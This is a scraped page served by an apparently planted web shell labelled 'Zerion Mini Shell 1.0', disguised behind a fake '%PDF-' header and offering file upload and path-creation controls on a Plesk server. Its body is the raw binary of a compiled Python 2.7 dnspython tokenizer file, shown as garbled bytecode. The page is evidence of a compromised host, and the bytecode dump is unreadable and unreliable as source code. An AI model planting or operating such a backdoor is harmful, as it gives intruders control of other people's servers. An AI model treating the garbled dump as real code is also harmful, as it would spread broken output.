%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyo

�
�ac@sddlmZddlZddlZddlZddlZddlmZm	Z	m
Z
ied6ed6ed6ed6ed	6ed
6ed6Zied6Z
dZdZd
ZdZdZdZdZdejjfd��YZdefd��YZdefd��YZdS(i����(tStringIONi(tlongt	text_typetbinary_typet s	s
t;t(t)t"iiiiiitUngetBufferFullcBseZRS((t__name__t
__module__(((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyR	0stTokencBs�eZded�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�ZRS(tcCs||_||_||_dS(N(tttypetvaluet
has_escape(tselfRRR((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt__init__<s		cCs
|jtkS(N(RtEOF(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytis_eofCscCs
|jtkS(N(RtEOL(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytis_eolFscCs
|jtkS(N(Rt
WHITESPACE(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt
is_whitespaceIscCs
|jtkS(N(Rt
IDENTIFIER(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt
is_identifierLscCs
|jtkS(N(Rt
QUOTED_STRING(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytis_quoted_stringOscCs
|jtkS(N(RtCOMMENT(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt
is_commentRscCs
|jtkS(N(Rt	DELIMITER(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytis_delimiterUscCs|jtkp|jtkS(N(RRR(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt
is_eol_or_eofXscCs5t|t�stS|j|jko4|j|jkS(N(t
isinstanceRtFalseRR(Rtother((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt__eq__[scCs5t|t�stS|j|jkp4|j|jkS(N(R"RtTrueRR(RR$((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt__ne__ascCsd|j|jfS(Ns%d "%s"(RR(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt__str__gscCsu|js
|Sd}t|j�}d}x:||krd|j|}|d7}|dkrW||krutjj�n|j|}|d7}|j�rW||kr�tjj�n|j|}|d7}||kr�tjj�n|j|}|d7}|j�o|j�s#tjj�ntt	|�dt	|�dt	|��}qWn||7}q+Wt
|j|�S(NR
iis\idi
(RtlenRtdnst	exceptiont
UnexpectedEndtisdigittSyntaxErrortchrtintRR(Rt	unescapedtltitctc2tc3((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytunescapejs6	







4cCsdS(Ni((R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt__len__�scCst|j|jf�S(N(titerRR(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt__iter__�scCs0|dkr|jS|dkr&|jSt�dS(Nii(RRt
IndexError(RR3((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt__getitem__�s
(R
RR#RRRRRRRR R!R%R'R(R7R8R:R<(((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyR4s 														t	TokenizercBs�eZejdd�Zd�Zd�Zd�Zd�Z	e
e
d�Zd�Zd�Z
e
Zd�Zd	d
�Zd�Zd	d�Zd
�Zdd�Zdd�Zdd�Zd�Zd�ZRS(cCs�t|t�r3t|�}|dkr�d}q�nft|t�rlt|j��}|dkr�d}q�n-|dkr�|tjkr�d}q�d}n||_d|_	d|_
d|_t|_
t|_t|_d|_||_dS(Ns<string>s<stdin>s<file>ii(R"RRtNoneRtdecodetsyststdintfilet
ungotten_chartungotten_tokent	multilineR#tquotingteoft_DELIMITERSt
delimiterstline_numbertfilename(RtfRK((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyR�s*										cCs�|jdkrl|jr!d}q~|jjd�}|dkrKt|_q~|dkr~|jd7_q~n|j}d|_|S(NR
is
(RCR>RGRBtreadR&RJ(RR4((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt	_get_char�s				cCs|j|jfS(N(RKRJ(R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytwhere�scCs%|jdk	rt�n||_dS(N(RCR>R	(RR4((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt_unget_char�s	cCsod}xbtrj|j�}|dkr]|dkr]|dksI|jr]|j|�|Sn|d7}q	WdS(NiRs	s
i(R&RNRERP(RtskippedR4((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytskip_whitespaces	
c
Cs�|jdk	rZ|j}d|_|j�r:|rW|SqZ|j�rS|rW|SqZ|Sn|j�}|r�|dkr�ttd�Sd}t}t}x�t	rA|j
�}|dks�||jkr�|dkr�|jr�t
jj�n|dkr�|tkr�|dkr.|jd7_|j�q�q�|dkrw|jdkrXt
jj�n|jd8_|j�q�q�|dkr�|js�t	|_t|_t}q�q�t|_t|_|j�q�q�|dkr�ttd�S|d	kr�x6|j
�}|dks|dkrPn||7}q�W|rJ|j|�tt|�S|dkr~|jrtt
jjd
��ntt�S|jr�|j�d}q�q�ttd�Sq�|}t}n
|j|�Png|jr�|dkr�|j
�}|dkr	t
jj�n|j�r�|j
�}|dkr<t
jj�n|j
�}	|dkrct
jj�n|j�ox|	j�s�t
jj�ntt|�dt|�d
t|	��}q�q4|dkr4t
jjd��q4nR|dkr4||7}t	}|j
�}|dks"|dkr4t
jj�q4n||7}q�W|dkr�|tkr�|jrxt
jjd
��nt}nt|||�S(NiRR
RiRRs
Rsunbalanced parenthesess\idi
snewline in quoted string(RDR>RRRRRRRR#R&RNRIRFR*R+R,RRER.t_QUOTING_DELIMITERSRHRRPRRRR-R/R0(
Rtwant_leadingtwant_commentttokenRQRRR4R5R6((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytgets�		
	

					



		
	
	
	4
		cCs%|jdk	rt�n||_dS(N(RDR>R	(RRV((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytunget�s	cCs%|j�}|j�r!t�n|S(N(RWRt
StopIteration(RRV((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytnext�s	cCs|S(N((R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyR:�si
cCsg|j�j�}|j�s3tjjd��n|jj�sWtjjd��nt|j|�S(Nsexpecting an identifiersexpecting an integer(	RWR7RR*R+R.RR-R0(RtbaseRV((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytget_int�scCsA|j�}|dks$|dkr=tjjd|��n|S(Nii�s#%d is not an unsigned 8-bit integer(R\R*R+R.(RR((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt	get_uint8�s
		cCsl|jd|�}|dks*|dkrh|dkrOtjjd|��qhtjjd|��n|S(NR[ii��is*%o is not an octal unsigned 16-bit integers$%d is not an unsigned 16-bit integer(R\R*R+R.(RR[R((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt
get_uint16�s			cCs�|j�j�}|j�s3tjjd��n|jj�sWtjjd��nt|j�}|dks�|td�kr�tjjd|��n|S(Nsexpecting an identifiersexpecting an integeriIs$%d is not an unsigned 32-bit integer(	RWR7RR*R+R.RR-R(RRVR((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt
get_uint32�s		cCsF|j�j�}|j�p'|j�s?tjjd��n|jS(Nsexpecting a string(RWR7RRR*R+R.R(RtoriginRV((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt
get_string�scCs:|j�j�}|j�s3tjjd��n|jS(Nsexpecting an identifier(RWR7RR*R+R.R(RR`RV((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytget_identifierscCsC|j�}|j�s-tjjd��ntjj|j|�S(Nsexpecting an identifier(RWRR*R+R.tnamet	from_textR(RR`RV((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytget_namescCsD|j�}|j�s=tjjd|j|jf��n|jS(Ns expected EOL or EOF, got %d "%s"(RWR!R*R+R.RR(RRV((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytget_eol!s		cCsF|j�j�}|j�s3tjjd��ntjj|j�S(Nsexpecting an identifier(	RWR7RR*R+R.tttlRdR(RRV((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pytget_ttl/s	N(R
RR@RAR>RRNRORPRRR#RWRXRZt__next__R:R\R]R^R_RaRbReRfRh(((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyR=�s&#					}					


	(tioRR@t
dns.exceptionR*tdns.nametdns.ttlt_compatRRRR&RHRSRRRRRRRR+tDNSExceptionR	tobjectRR=(((sB/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/tokenizer.pyt<module>s0

d

Zerion Mini Shell 1.0